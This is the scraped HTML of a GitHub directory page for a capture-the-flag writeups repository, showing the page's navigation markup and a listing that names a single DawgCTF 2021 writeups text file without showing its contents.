01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> 